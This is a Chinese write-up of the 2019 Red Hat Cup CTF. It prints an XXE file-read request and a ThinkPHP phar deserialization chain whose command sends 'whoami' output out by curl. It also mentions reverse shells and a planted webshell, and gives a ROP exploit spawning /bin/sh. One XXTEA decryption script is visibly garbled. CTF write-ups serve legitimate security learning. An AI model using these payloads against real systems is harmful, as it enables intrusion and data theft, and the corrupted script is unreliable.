2019红帽杯 writeup

原创

ChaMd5安全团队

修改于 2020-01-20 09:41:15

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修改于 2020-01-20 09:41:15

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Web

Ticket_System

解题思路 XXE可以读文件

POST /postXML HTTP/1.1
Host: 118.190.135.20
Content-Length: 143
Accept: application/xml, text/xml, */*; q=0.01
Origin: http://118.190.135.20

Content-Type: application/xml;

用 php://filter 来读源码:

POST /postXML HTTP/1.1
Host: 118.190.135.20
Content-Length: 204
Accept: application/xml, text/xml, */*; q=0.01
Origin: http://118.190.135.20
Content-Type: application/xml;charset=UTF-8
Referer: http://118.190.135.20/ticket
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=eu5755jfof1o6df83mtr4e984n
Connection: close

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/proc/self/cwd/index.php" >]>
<ticket>
<username>&xxe;</username>
<code>aaaa</code>
</ticket>

hint in /hints.txt

You'r clever. But not enough. Try RCE!

可以rce，在博客上找到的⼀条5.2.0的链，phar反序列化，上传phar.xml(改后缀)，然后xxe⽤

Phar协议读，但是是www-data权限：

<?php
namespace think\process\pipes {
    class Windows
    {
        private $files;
        public function __construct($files)
        {
            $this->files = array($files);
        }
    }
}
namespace think\model\concern {
    trait Conversion
    {
        protected $append = array("Smi1e" => "1");
    }
    trait Attribute
    {
        private $data;
        private $withAttr = array("Smi1e" => "system");


        public function get($system)
        {
            $this->data = array("Smi1e" => "$system");
        }
    }
}
namespace think {
    abstract class Model
    {
        use model\concern\Attribute;
        use model\concern\Conversion;
    }
}
namespace think\model {
    use think\Model;
    class Pivot extends Model
    {
        public function __construct($system)
        {
            $this->get($system);
        }
    }
}
namespace {
    $Conver = new think\model\Pivot("curl http:// -d `whoami`;");
    $payload = new think\process\pipes\Windows($Conver);
    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->setMetadata($payload); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
    echo urlencode(serialize($payload));
}

后续参考*CTF的read_flag过程，根目录下存在一个有可执行权限的readflag二进制文件，拉回来分析以后与*CTF一模一样，也是需要在100ms里把计算结果输入进去。于是参考*CTF中关于此步的思路，上传一个静态编译的socat，把readflag的标准输入输出转为socket通道，也就是类似于pwn题的做法

反弹两个shell，一个执行socat

 ./socat tcp-l:9999,fork exec:/readflag

另一个连接转发出来的端口进行交互交互
#!/usr/bin/perl -w
use IO::Socket;
my $sock=IO::Socket::INET->new(
      PeerAddr =>'127.0.0.1',
      PeerPort => 9999,
      Proto =>'tcp')or die $@;
$sock->recv($res, 1024);
print $res;
$sock->recv($res, 1024);
print $res;
$data = eval($res);
print $data; # 打印计算结果
$sock->send($data);
$sock->recv($res, 1024);
print $res;
$sock->send($data);
$sock->recv($res, 1024);
print $res;
$sock->recv($res, 1024);
print $res;
$sock->recv($res, 1024);
print $res; // 打印flag
$sock->close or die $!;
# 退出
exit 0;

Misc

恶臭的数据包

把握手包提取出来，之后用hashcat跑包。跑出密码为12345678

在wireshark中设置如下： Edit -> Preferences -> Protocols -> IEEE802.11 -> Edit

解密数据包，发现内部有个上传的图片，提取出来

结尾又发现一个zip

zip要密码，尝试了，不是伪加密，爆破了1-8位数字

在数据包的Cookie里发现JWT，于是访问他的网站

{
    "hint": "for security, I set my password as a website which i just pinged before"
}

服务器上找到一个后门，直接写一句话进去，

压缩包密码就是这个域名

玩具车

波形为高低电平，对应小车的运行状态

将wav中的高低电平转成0和1

然后根据图中所示原理

分析出四个轮子的转动情况（除停止之外有四种状态）

然后编写exp画出小车运动轨迹（为了缩小运行时间，可以每隔30个信号取一个有效信号）

flag为小车运行轨迹（uuid格式）

WAV.py

import wave

file_name = 'C:\\Users\\a1516\\Desktop\\hmb\\car\\car\\L293_2_EnB.wav'
f = wave.open(file_name,'rb')
params = f.getparams()
nchannels, sampwidth, framerate, nframes = params[:4]
str_data = f.readframes(nframes)
a = len(str_data)/2
data = ''
j=1
for i in range(int(a)):
    da = str_data[i*2]
    j+=1
    if(j!=30):
        continue
    else:
        j=1
    if da == 0:
        data += '0'
    else:
        data += '1'

a = open('C:\\Users\\a1516\\Desktop\\hmb\\car\\car\\2EnB.txt','w')
a.write(data)
a.close()
f.close()

main.py

import turtle

a = open('1A1.txt','r')
A1_1 = a.read()
a.close
a = open('1A2.txt','r')
A2_1 = a.read()
a.close
a = open('1B1.txt','r')
B1_1 = a.read()
a.close
a = open('1B2.txt','r')
B2_1 = a.read()
a.close
a = open('1EnA.txt','r')
EnA_1 = a.read()
a.close
a = open('1EnB.txt','r')
EnB_1 = a.read()
a.close

a = open('2A1.txt','r')
A1_2 = a.read()
a.close
a = open('2A2.txt','r')
A2_2 = a.read()
a.close
a = open('2B1.txt','r')
B1_2 = a.read()
a.close
a = open('2B2.txt','r')
B2_2 = a.read()
a.close
a = open('2EnA.txt','r')
EnA_2 = a.read()
a.close
a = open('2EnB.txt','r')
EnB_2 = a.read()
a.close


turtle.setup(5000,500,0,0)
turtle.pensize(0.1)
turtle.speed(100)
turtle.right(90)
turtle.penup()
turtle.goto(-600,0)
turtle.pendown()

for i in range(len(EnA_1)):
    go_l_1 = 0;
    go_l_2 = 0;
    go_r_1 = 0;
    go_r_2 = 0;
    #print(len(EnA_1))
    #print(i)
    b = EnA_1[i]+A1_1[i]+A2_1[i]
    if(EnA_1[i]=='0'):
        go_l_1=0
    elif(A1_1[i] == A2_1):
        go_l_1=0
    elif(b == '101'):
        #print('正转+1')
        go_l_1=1
    elif(b=='110'):
        #print('反转-1')
        go_l_1=-1
    else:
        print('错误！！！')
    #print('go_l_1 = '+str(go_l_1))

    b = EnA_2[i]+A1_2[i]+A2_2[i]
    if(EnA_2[i]=='0'):
        go_l_2=0
    elif(A1_2[i] == A2_2):
        go_l_2=0
    elif(b == '101'):
        #print('正转+1')
        go_l_2=1
    elif(b=='110'):
        #print('反转-1')
        go_l_2=-1
    else:
        print('错误！！！')
    #print('go_l_2 = '+str(go_l_2))

    b = EnB_2[i]+B1_2[i]+B2_2[i]
    if(EnB_2[i]=='0'):
        go_r_2=0
    elif(B1_2[i] == B2_2):
        go_r_2=0
    elif(b == '101'):
        #print('正转+1')
        go_r_2=1
    elif(b=='110'):
        #print('反转-1')
        go_r_2=-1
    else:
        print('错误！！！')
    #print('go_r_2 = '+str(go_r_2))

    b = EnB_1[i]+B1_1[i]+B2_1[i]
    if(EnB_1[i]=='0'):
        go_r_1=0
    elif(B1_1[i] == B2_1):
        go_r_1=0
    elif(b == '101'):
        #print('正转+1')
        go_r_1=1
    elif(b=='110'):
        #print('反转-1')
        go_r_1=-1
    else:
        print('错误！！！')
    #print('go_r_1 = '+str(go_r_1))

    if(go_l_1==1 and go_l_2==1 and go_r_1==1 and go_r_2==1):
        turtle.fd(0.02)
    elif(go_l_1==-1 and go_l_2==-1 and go_r_1==-1 and go_r_2==-1):
        turtle.fd(-0.02)
    elif(go_l_1==1 and go_l_2==1 and go_r_1==-1 and go_r_2==-1):
        turtle.left(0.33)
    elif(go_l_1==-1 and go_l_2==-1 and go_r_1==1 and go_r_2==1):
        turtle.right(0.33)
    else:
        print(go_l_1,go_l_2,go_r_1,go_r_2,flag_right,flag_left)

turtle.done()

PWN

three

from pwn import *
context.log_level = 'debug'

#p = process('./pwn')
p = remote()
p.sendlineafter('Give me a index:','3')
migStack = '\x89\xcc\xc3'
p.sendafter('Three is good number,I like it very much!',migStack)
binsh_len = len('/bin/sh\x00')
pop_ecx_ebx = 0x08072fb2
pop_eax_edx_ebx = 0x080568b4
int80 = 0x08049903
shellcode = p32(pop_ecx_ebx) + p32(0) + p32(0) +p32(pop_eax_edx_ebx) + p32(0xb) + p32(0) + p32(0x80f6ce1) + p32(int80)
p.sendlineafter('Leave you name of size:','500')
p.sendlineafter('Tell me:',shellcode +'\x00'+'/bin/sh\x00')
p.interactive()

Revers

解题思路

64位控制台程序。大致流程为：输入后检查长度为19字节，检查前4字节是否在设定字符集中，并copy到新变量上并00填充至16字节。然后用这个16字节数据为密码加密19字节数据（经处理后实际加密24字节），加密算法特征明显，为XXTEA，与题名相合。最后加密字节组经乱序后进行某种异或操作，并与常量比较。

题中用到的字符集为：qwertyuiopasdfghjklzxcvbnm1234567890。

至XTEA加密未作改更变19字节00填充至20字节，再加上4字节小端表示的原长度，所以加密的原文是24字节。

异或计算过程是将24字节分成8组，每组3字节，每组异或值相同。第0组取值为0，即不异或，第i组(0<i<8)，异或值取异4字节的前i字节

的异或值，如记24字节记为a，第2组异或值取a[0]^a[1]。

XXTEA的加密密钥前4字节为原始输入的前4字节，得到密文可枚举。但想来如果输入符合正常flag格式，前4字节即为flag。尝试解密成功。反解如下：>from operator import xor
from py_teadimport xxtea
aef mtin():
  = [ 1 0xce,0xbc 0x40,
   1    0x5b 6x7c 0x3a,
 6      0x95,0xc0,0xef 
       20x9b,0x40 0x20,
 1      0x97,0xf8,0x02 
 1      0x35,0x23,0x7, 
     2  0x03,0xc8,0xe7 
 1      0x56,0x59 0xfa]
 1b = list(a)
  for i in range(8,,):
    for j in range(3):
      tmp = reduce(xor b[:i])
     1a[3*i+j] ^=  tmp


  idx = [2,0,3,5,6,4,7,7 80,, 71 9,64 10 ,5 ,3 58 1, 1, 17,22,0, ,3 21]
 2enc = [0]*48
  key =2'flag'+'\x00'*12
  for i in range(04):>    enc[idx[i]] = a[i]
  printxxtea.xxtea_decrypt(''.join(map(chr,denc),key,endian='<')

easyRE

b程序为64位ELF格式。在main函数中有两次输入，求解后知道此非flag，main函数也非关键所在。两次输入求解结果为：

Info:The first four chars are `flag`

https://bbs.pediy.com/thread-254172.htm

然后查看init_array，发现其中函数有取timestamp并保存到全局变量，且此变量还在另一个函数中使用了，此函数在finit_array列表中，看着像有着什么，其伪代码如下：un  signed __int64 sub_400D35()
{
  unsigned __int64 result; // rax
  unsigned __int64 v1; // rt1
  unsigned int v2; // [rsp+Ch] [rbp-24h]
  signed int i; // [rsp+10h] [rbp-20h]
  signed int j; // [rsp+14h] [rbp-1Ch]
  unsigned int v5; // [rsp+24h] [rbp-Ch]
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  v2 = sub_43FD20() - qword_6CEE38;
  for ( i = 0; i <= 1233; ++i )
  {
    sub_40F790(v2);
    sub_40FE60();
    sub_40FE60();
    v2 = sub_40FE60() ^ 0x98765432;
  }
  v5 = v2;
  if ( (v2 ^ byte_6CC0A0[0]) == 'f' && (HIBYTE(v5) ^ byte_6CC0A3) == 'g' )
  {
    for ( j = 0; j <= 24; ++j )
      sub_410E90(byte_6CC0A0[j] ^ *(&v5 + j % 4));
  }
  v1 = __readfsqword(0x28u);
  result = v1 ^ v6;
  if ( v1 != v6 )
    error();
  return result;
}

结合main函数中解出的前4字节为flag的hint，上面代码python计算如下：>>> a=[0x40, 0x35, 0x20, 0x56, 0x5D, 0x18, 0x22, 0x45, 0x17, 0x2F,
...   0x24, 0x6E, 0x62, 0x3C, 0x27, 0x54, 0x48, 0x6C, 0x24, 0x6E,
...   0x72, 0x3C, 0x32, 0x45, 0x5B]
>>> b = map(lambda x,y:ord(x)^y ,'flag',a[0:4]
...
... )
>>> b
[38, 89, 65, 49]
>>> for i in range(len(a)):
...   a[i] ^= b[i%4]
...
>>> a
[102, 108, 97, 103, 123, 65, 99, 116, 49, 118, 101, 95, 68, 101, 102, 101, 110, 53, 101, 95, 84, 101, 115, 116, 125]
>>> print ''.join(map(chr,a))

calc

解题思路

题此题是64位c++控制台程序。一共3次输入，记为x,y,z。每次输入后紧接着就是乘和乘方计算，其实是没什么用的，干

扰而已。从地址0x140002B31开始，计算才有用。

先是检查x < z和y < x，接着计算两个算式：

(x+y)**3 -3*y*x**2 - 3*x*y**2得(z+4)**3 - 12*z**2 - 48*z - 2
最后校验两个算式结果相等，所以最终得到一个三元方程：(x+y)**3 -3*y*x**2 - 3*x*y**2 = (z+4)**3 - 12*z**2 - 48*z - 22

化得：

x**3 + y**3 + (-z)**3 = 42

合今年的新闻：

搜索到那个亮闪闪的计算式：(-80538738812075974)^3 + 80435758145817515^3 + 12602123297335631^3 = 422
所以：x=80435758145817515
y=12602123297335631 
z=80538738812075974

>>> md5("804357581458175151260212329733563180538738812075974").hexdigest()
'951e27be2b2f10b7fa22a6dc8f4682bd''

childR

解题思路

此题64位控制台程序。题目意思大概是输入经乱序后重组成经修饰后的c++符号字串，然后通过UnDecorateSymbolName调用转成非修饰的完整符号字串，最后通过两个表校验。

先通过最后校验得到非修饰的完整c++符号字串：  l = '(_@4620!08!6_0*0442!@186%%0@3=66!!974*3234=&0^3&1@=&0908!6_0*&'
  h = '55565653255552225565565555243466334653663544426565555525555222'
  t = '''1234567890-=!@#$%^&*()_+qwertyuiop[]QWERTYUIOP{}asdfghjkl;'ASDFGHJKL:"ZXCVBNM<>?zxcvbnm,./'''
  name = ''
  for i in range(len(l)):
    name += chr(t.index(l[i])+t.index(h[i])*23)
  print name

得到 private: char * __thiscall R0Pxx::My_Aut0_PWN(unsigned char *)。

想得到修饰后的符号，可以写个dll啊。得通过查看编译好的dll，到?修饰后的符号字串：My_Aut0_PWN@R0Pxx@@AAEPADPAE@Z。

然后就是确定乱序的规则了。通过动态发现乱序取值顺序是固定的，于是直接输入31个不同字符，通过结果获取到乱序的取值规则。输入到name的变换序号（

>>> t1='1234567890abcdefghijklmnopqrstu'
>>> t2='666738686939346A6B306C6D6135326E6F6270716336727364747565373331'.decode('hex')
>>> idx=[]
>>> for i in t2:
...   idx.append(t1.index(i))
...
>>> idx
[15, 16, 7, 17, 18, 8, 3, 19, 20, 9, 21, 22, 10, 4, 1, 23, 24, 11, 25, 26, 12, 5, 27, 28, 13, 29, 30, 14, 6, 2, 0]

修饰后的符号字串转成原始输入：

>>> d='?My_Aut0_PWN@R0Pxx@@AAEPADPAE@Z'
>>> idx
[15, 16, 7, 17, 18, 8, 3, 19, 20, 9, 21, 22, 10, 4, 1, 23, 24, 11, 25, 26, 12, 5, 27, 28, 13, 29, 30, 14, 6, 2, 0]
>>> dd = [0]*31
>>> for i in range(31):
...   dd[idx[i]] = d[i]
...
>>> ''.join(dd)
'Z0@tRAEyuP@xAAA?M_A0_WNPx@@EPDP'
>>> from hashlib import md5
>>> md5('Z0@tRAEyuP@xAAA?M_A0_WNPx@@EPDP').hexdigest()
'63b148e750fed3a33419168ac58083f5'

Snake

解题思路

查看Assembly-CSharp.dll代码后发现并没有特别的东西。在Plugins目录下发现Interface.dll文件，简单静态分析后确定关键在此文件的GameObject导出函数中，其中Assembly-CSharp.dll中调用如下：Debug.Log(Interface.GameObject((int)base.gameObject.transform.position.x, (int)base.gameObject.transform.position.y));

参数为坐标。

实际此导出函数只用到了x坐标，通过简单调试，发现x取值在[0,199]之间可能得flag。关键计算代码为大数计算，有点难看，干脆无脑枚举。于是写了个dll调用的枚举程序，跑得有点慢。

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原创声明：本文系作者授权腾讯云开发者社区发表，未经许可，不得转载。

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